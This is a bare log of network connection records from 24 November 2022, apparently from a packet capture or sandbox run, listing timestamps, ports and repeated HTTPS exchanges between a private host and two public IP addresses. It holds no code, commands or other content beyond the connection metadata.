Nov 24, 2022 13:28:33.299284935 CET	49725	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:33.299304962 CET	443	49725	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:33.299407005 CET	443	49725	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:33.364162922 CET	443	49724	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:33.364260912 CET	49724	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:33.364284039 CET	443	49724	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:33.364346027 CET	49724	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:33.372966051 CET	49724	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:33.373034000 CET	443	49724	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:33.373320103 CET	443	49724	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:33.373395920 CET	49724	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:33.376071930 CET	49724	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:33.967529058 CET	49726	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:33.967577934 CET	443	49726	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:33.967715979 CET	49726	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:33.968097925 CET	49726	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:33.968130112 CET	443	49726	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:33.968225002 CET	443	49726	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:34.016546965 CET	49727	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.016629934 CET	443	49727	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.016731024 CET	49727	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.017268896 CET	49727	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.017301083 CET	443	49727	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.064905882 CET	443	49727	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.065068007 CET	49727	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.076916933 CET	49727	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.076957941 CET	443	49727	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.077594995 CET	443	49727	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.078032017 CET	49727	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.078674078 CET	49727	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.078687906 CET	443	49727	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.180995941 CET	443	49727	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.181138992 CET	49727	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.181181908 CET	443	49727	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.181252956 CET	49727	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.181585073 CET	49727	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.181675911 CET	443	49727	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.181739092 CET	49727	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.187972069 CET	49728	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:34.188019991 CET	443	49728	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:34.188179016 CET	49728	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:34.188618898 CET	49728	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:34.188631058 CET	443	49728	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:34.188688993 CET	443	49728	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:34.296922922 CET	49729	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.296976089 CET	443	49729	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.297063112 CET	49729	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.297862053 CET	49729	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.297888994 CET	443	49729	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.347493887 CET	443	49729	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.347626925 CET	49729	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.354693890 CET	49729	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.354718924 CET	443	49729	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.355417967 CET	443	49729	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.355532885 CET	49729	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.356400967 CET	49729	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.356414080 CET	443	49729	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.426162004 CET	49730	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:34.426209927 CET	443	49730	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:34.426292896 CET	49730	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:34.426700115 CET	49730	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:34.426733971 CET	443	49730	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:34.426791906 CET	443	49730	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:34.463088989 CET	443	49729	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.463226080 CET	49729	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.463253975 CET	443	49729	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.463299990 CET	49729	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.466685057 CET	49729	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:34.466801882 CET	443	49729	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:34.467073917 CET	49729	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:35.790621996 CET	49731	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:35.790677071 CET	443	49731	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:35.790816069 CET	49731	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:35.791543961 CET	49731	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:35.791574955 CET	443	49731	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:35.791680098 CET	443	49731	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:36.608185053 CET	49732	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:36.608244896 CET	443	49732	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:36.608330965 CET	49732	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:36.608799934 CET	49732	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:36.608820915 CET	443	49732	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:36.608937979 CET	443	49732	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:36.714334965 CET	49733	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:36.714391947 CET	443	49733	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:36.714492083 CET	49733	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:36.738516092 CET	49733	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:36.738581896 CET	443	49733	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:36.793292999 CET	443	49733	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:36.793525934 CET	49733	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:36.808721066 CET	49733	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:36.808789015 CET	443	49733	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:36.809408903 CET	443	49733	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:36.809483051 CET	49733	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:36.810049057 CET	49733	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:36.810064077 CET	443	49733	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:36.902865887 CET	443	49733	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:36.903043032 CET	443	49733	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:36.903050900 CET	49733	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:36.903094053 CET	49733	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:36.965320110 CET	49734	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:36.965369940 CET	443	49734	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:36.965472937 CET	49734	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:36.965893984 CET	49734	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:36.965910912 CET	443	49734	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:36.965977907 CET	443	49734	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:37.071027040 CET	49733	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:37.071057081 CET	443	49733	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:39.118805885 CET	49735	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:39.118870020 CET	443	49735	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:39.118988037 CET	49735	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:39.126046896 CET	49735	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:39.126080990 CET	443	49735	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:39.126144886 CET	443	49735	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:39.245412111 CET	49736	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:39.245482922 CET	443	49736	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:39.245567083 CET	49736	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:39.246113062 CET	49736	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:39.246143103 CET	443	49736	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:39.295564890 CET	443	49736	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:39.295700073 CET	49736	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:39.322927952 CET	49736	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:39.322964907 CET	443	49736	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:39.330980062 CET	49736	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:39.331010103 CET	443	49736	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:39.355520010 CET	49737	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:39.355564117 CET	443	49737	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:39.355648041 CET	49737	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:39.356010914 CET	49737	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:39.356024027 CET	443	49737	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:39.356071949 CET	443	49737	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:39.417629957 CET	443	49736	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:39.417721987 CET	49736	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:39.417740107 CET	443	49736	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:39.417788029 CET	49736	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:39.420752048 CET	49736	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:39.420814991 CET	443	49736	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.207643986 CET	49738	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:40.207679033 CET	443	49738	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:40.207767963 CET	49738	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:40.208254099 CET	49738	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:40.208270073 CET	443	49738	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:40.208343983 CET	443	49738	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:40.222326040 CET	49739	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.222373009 CET	443	49739	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.222955942 CET	49739	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.226717949 CET	49739	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.226733923 CET	443	49739	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.299243927 CET	443	49739	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.299338102 CET	49739	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.332178116 CET	49739	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.332220078 CET	443	49739	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.336527109 CET	49739	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.336556911 CET	443	49739	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.411431074 CET	443	49739	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.415741920 CET	49739	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.415788889 CET	443	49739	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.416047096 CET	49739	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.420486927 CET	49739	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.420630932 CET	443	49739	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.420933962 CET	443	49739	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.421026945 CET	49739	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.421078920 CET	49739	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.486495972 CET	49740	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:40.486538887 CET	443	49740	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:40.486610889 CET	49740	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:40.486964941 CET	49740	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:40.486989021 CET	443	49740	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:40.487073898 CET	443	49740	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:40.554239988 CET	49741	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.554311991 CET	443	49741	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.554431915 CET	49741	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.556320906 CET	49741	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.556364059 CET	443	49741	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.605566025 CET	443	49741	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.605739117 CET	49741	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.652849913 CET	49741	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.652925968 CET	443	49741	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.653582096 CET	443	49741	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.653661013 CET	49741	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.654222965 CET	49741	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.654242039 CET	443	49741	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.654938936 CET	49742	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:40.655014038 CET	443	49742	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:40.655643940 CET	49742	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:40.656002045 CET	49742	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:40.656025887 CET	443	49742	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:40.656101942 CET	443	49742	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:40.716353893 CET	443	49741	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.720236063 CET	49741	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.720269918 CET	443	49741	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.720329046 CET	49741	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.748330116 CET	49741	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.748511076 CET	443	49741	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.748594999 CET	49741	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.895837069 CET	49743	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:40.895894051 CET	443	49743	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:40.895992041 CET	49743	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:40.896559000 CET	49743	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:40.896579981 CET	443	49743	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:40.896677017 CET	443	49743	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:40.967834949 CET	49744	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.967874050 CET	443	49744	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:40.967942953 CET	49744	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.968660116 CET	49744	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:40.968683004 CET	443	49744	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.023005009 CET	443	49744	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.023076057 CET	49744	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.071064949 CET	49744	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.071086884 CET	443	49744	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.071743965 CET	443	49744	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.072254896 CET	49744	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.072868109 CET	49744	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.072875977 CET	443	49744	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.135795116 CET	49745	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:41.135840893 CET	443	49745	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:41.135931969 CET	49745	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:41.136265993 CET	49745	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:41.136281967 CET	443	49745	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:41.136408091 CET	443	49745	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:41.157303095 CET	443	49744	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.157398939 CET	49744	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.157413006 CET	443	49744	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.157427073 CET	443	49744	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.157490969 CET	49744	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.157490969 CET	49744	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.178406954 CET	49744	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.178433895 CET	443	49744	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.696448088 CET	49746	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:41.696527004 CET	443	49746	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:41.697098970 CET	49746	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:41.697458982 CET	49746	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:41.697496891 CET	443	49746	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:41.697599888 CET	443	49746	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:41.739722013 CET	49747	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.739816904 CET	443	49747	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.739907026 CET	49747	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.741931915 CET	49747	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.741966963 CET	443	49747	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.790013075 CET	443	49747	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.790122986 CET	49747	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.826497078 CET	49747	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.826513052 CET	443	49747	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.844531059 CET	49747	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.844552994 CET	443	49747	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.903397083 CET	443	49747	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.903528929 CET	443	49747	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.903611898 CET	49747	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.904026985 CET	49747	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:41.904052973 CET	443	49747	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:41.958543062 CET	49748	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:41.958590984 CET	443	49748	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:41.958663940 CET	49748	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:41.958985090 CET	49748	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:41.959007025 CET	443	49748	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:41.959059954 CET	443	49748	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:42.051510096 CET	49749	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:42.051584005 CET	443	49749	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:42.051686049 CET	49749	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:42.053514004 CET	49749	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:42.053548098 CET	443	49749	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:42.081805944 CET	49750	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:42.081845045 CET	443	49750	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:42.081933022 CET	49750	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:42.082330942 CET	49750	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:42.082355022 CET	443	49750	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:42.082398891 CET	443	49750	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:42.105078936 CET	443	49749	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:42.105243921 CET	49749	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:42.110277891 CET	49749	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:42.110291004 CET	443	49749	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:42.169908047 CET	49749	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:42.169936895 CET	443	49749	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:42.252780914 CET	443	49749	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:42.252943039 CET	443	49749	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:42.253127098 CET	49749	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:42.281419992 CET	49749	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:42.281457901 CET	443	49749	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:43.178134918 CET	49751	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:43.178208113 CET	443	49751	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:43.178309917 CET	49751	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:43.178735971 CET	49751	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:43.178771973 CET	443	49751	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:43.178821087 CET	443	49751	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:43.350450993 CET	49752	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:43.350524902 CET	443	49752	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:43.351296902 CET	49752	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:43.361078978 CET	49752	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:43.361144066 CET	443	49752	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:43.412338972 CET	443	49752	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:43.412473917 CET	49752	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:43.415746927 CET	49752	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:43.415769100 CET	443	49752	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:43.422492027 CET	49752	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:43.422533035 CET	443	49752	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:43.489784956 CET	49753	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:43.489856005 CET	443	49753	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:43.489985943 CET	49753	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:43.490499973 CET	49753	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:43.490535975 CET	443	49753	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:43.490592957 CET	443	49753	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:43.548523903 CET	443	49752	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:43.548676014 CET	49752	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:43.548723936 CET	443	49752	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:43.549988031 CET	49752	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:43.586973906 CET	49752	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:43.587234020 CET	443	49752	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:43.587331057 CET	49752	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:44.304217100 CET	49754	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:44.304254055 CET	443	49754	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:44.304347992 CET	49754	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:44.305376053 CET	49754	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:44.305411100 CET	443	49754	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:44.305480957 CET	443	49754	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:44.438682079 CET	49755	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:44.438740015 CET	443	49755	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:44.439104080 CET	49755	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:44.439614058 CET	49755	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:44.439635992 CET	443	49755	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:44.493012905 CET	443	49755	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:44.493135929 CET	49755	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:44.500338078 CET	49755	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:44.500370026 CET	443	49755	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:44.500773907 CET	443	49755	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:44.501070976 CET	49755	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:44.502279043 CET	49755	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:44.502295971 CET	443	49755	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:44.516561031 CET	49756	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:44.516630888 CET	443	49756	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:44.516722918 CET	49756	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:44.517070055 CET	49756	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:44.517097950 CET	443	49756	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:44.517246962 CET	443	49756	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:44.619463921 CET	443	49755	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:44.619555950 CET	49755	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:44.619566917 CET	443	49755	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:44.619606018 CET	49755	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:44.627775908 CET	49755	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:44.627818108 CET	443	49755	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:45.579767942 CET	49757	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:45.579859018 CET	443	49757	51.195.77.210	192.168.2.4
